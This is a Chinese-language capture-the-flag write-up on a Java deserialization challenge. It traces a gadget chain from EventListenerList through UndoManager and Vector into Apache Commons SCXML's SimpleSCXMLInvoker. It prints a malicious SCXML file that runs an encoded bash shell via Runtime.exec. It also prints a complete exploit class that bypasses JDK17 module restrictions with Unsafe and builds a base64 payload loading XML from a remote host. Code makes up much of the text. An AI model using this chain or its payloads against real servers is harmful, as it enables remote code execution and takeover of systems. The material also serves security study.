看下main函数,存在一个scxml路由,对参数进行base64解码然后反序列化
看下依赖
有scxml的依赖,这个依赖存在一个RCE利用链
恶意xml读取
在SCXMLReader里面存在一个read方法可以进行加载xml
看一下readInternal方法
看一下URLResolver
没有对URL进行策略防御,处理完URL进入getReader方法
如果有url就会进入else,从URL加载scxml
获取完命名空间和本地名称后会进入readSCXML
需要加载的恶意xml是
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<onentry>
<script>
''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,base64编码}|{base64,-d}|{bash,-i}')
</script>
</onentry>
</state>
</scxml>
最外层是state标签
如果有stat标签会进入readState方法
第二层是onentry标签,进入readOnEntry方法
会执行readExecutableContext方法
第三层是script标签,所有进入readScript方法
这里面添加了恶意payload到body里面然后就结束了
流程
SCXMLReader#read
SCXMLReader#readInternal
SCXMLReader#readDocument
SCXMLReader#readSCXML
SCXMLReader#readState
SCXMLReader#readOnEntry
SCXMLReader#readExecutableContext
SCXMLReader#readScript
恶意xml执行
SCXMLExecutor里面有个go方法
调用了reset方法
然后调用了executeActions方法
然后里面执行了excute方法
所以把恶意xml传到SCXMLExecutor里面即可
其中第二个参数是恶意xml
可以通过setter传入
初始exp
SCXML scxml = SCXMLReader.read("http://ip/xml.xml");
SCXMLExecutor executor = new SCXMLExecutor();
executor.setStateMachine(scxml);
executor.go();
寻找利用链
然后需要找哪里调用了read方法
看第二个SimpleSCMXLInvoker的invoke方法
不仅进行了xml读取还进行了恶意xml执行,无敌了。
然后找哪里调用了这个invoke方法
SXCML这个包里面没有了,看下其他依赖
作者给了一个InvokerImpl的类
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.n1ght;
import java.io.Serializable;
import java.util.Map;
import org.apache.commons.scxml2.invoke.Invoker;
import org.apache.commons.scxml2.invoke.InvokerException;
public class InvokerImpl implements Serializable {
private final Invoker o;
private final String source;
private final Map params;
public InvokerImpl(Invoker o, String source, Map params) {
this.o = o;
this.source = source;
this.params = params;
}
public String toString() {
try {
this.o.invoke(this.source, this.params);
return "success invoke";
} catch (InvokerException var2) {
throw new RuntimeException(var2);
}
}
}
正好toString方法里面的invoke接上了SimpleSCMXLInvoker的invoke方法,然后在向上就是找哪个readObject调用了toString方法,很容易想到javax.management.BadAttributeValueExpException
不过jdk17的BadAttributeValueExpException的val参数是String类型,无法传入一个object进去
这里用到了EventListenerList的readObject
EventListenerList#readObject
其调用了add方法
然后这里面会自动触发listenerList的toString方法
但是要求传入的类是EventListener实例,直接传入InvokerImpl是不行的
javax.swing.undo.UndoManager#toString
该类实现了 UndoableEditListener接口并且该接口继承EventListener类,其中limit 与 indexOfNextAdd 都是int类型
调用父类的toString,也就是CompoundEdit的toString
edits是vector型
java.util.Vector#toString
返回了父类的toString,即AbstractCollection的toString
调用了StringBuilder的append方法
调用了valueOf方法
调用链obj的toString
这里才是InvokerImpl传入的地方
所以目标是传入一个UndoManager,里面InvokerImpl放到ListernerList里面
利用链
ListernerList#readObject->
UndoManager#toString->
CompoundEdit#toString->
Vector#toString—>
InvokerImpl#toString->
SimpleSCMXLInvoker#invoke->
SCXMLReader#read
SCXMLExecutor#go
调试发现执行SimpleSCMXLInvoker#invoke的时候需要给个evaluator的参数
是从parentSCInstance属性获取,可以反射传进一个SCInstance类
这个类的evaluator属性也是私有属性,但是由setter方法,所以可以反射调用方法或者直接反射赋值
Evaluator是个接口
共有四个实现方法,有两个没有实现反序列化,还有一个没有依赖,只能使用JexlEvaluator
exp
import com.n1ght.InvokerImpl;
import org.apache.commons.scxml2.SCInstance;
import org.apache.commons.scxml2.SCXMLExecutor;
import org.apache.commons.scxml2.env.jexl.JexlEvaluator;
import org.apache.commons.scxml2.invoke.SimpleSCXMLInvoker;
import sun.misc.Unsafe;
import javax.swing.event.EventListenerList;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.*;
import javax.swing.undo.UndoManager;
public class exp {
public static void main(String[] args) throws Exception {
//绕过jdk17 反射限制
bypassModule(exp.class);
SCXMLExecutor executor = new SCXMLExecutor();
//反射创建SCInstance类
Class c=Class.forName("org.apache.commons.scxml2.SCInstance");
Constructor constructor=c.getDeclaredConstructor(SCXMLExecutor.class);
constructor.setAccessible(true);
SCInstance scInstance= (SCInstance) constructor.newInstance(executor);
//反射赋值evaluator为JexlEvaluator类
setFieldValue(scInstance,"evaluator",new JexlEvaluator());
//反射赋值SimpleSCXMLInvoker的executor和parentSCInstance属性
SimpleSCXMLInvoker simpleSCXMLInvoker=new SimpleSCXMLInvoker();
setFieldValue(simpleSCXMLInvoker,"executor",executor);
setFieldValue(simpleSCXMLInvoker,"parentSCInstance",scInstance);
InvokerImpl invoker=new InvokerImpl(simpleSCXMLInvoker,"http://ip/exp.xml",new HashMap<>());
EventListenerList eventListenerList=new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector=new Vector();
vector.add(invoker);
setFieldValue(manager,"edits",vector);
setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, manager});
ByteArrayOutputStream fuck = new ByteArrayOutputStream();
new ObjectOutputStream(fuck).writeObject(eventListenerList);
System.out.println(Base64.getEncoder().encodeToString(fuck.toByteArray()));
}
public static void bypassModule(Class src) throws Exception {
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(src, addr, Object.class.getModule());
}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Class clazz=obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
break;
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
}
}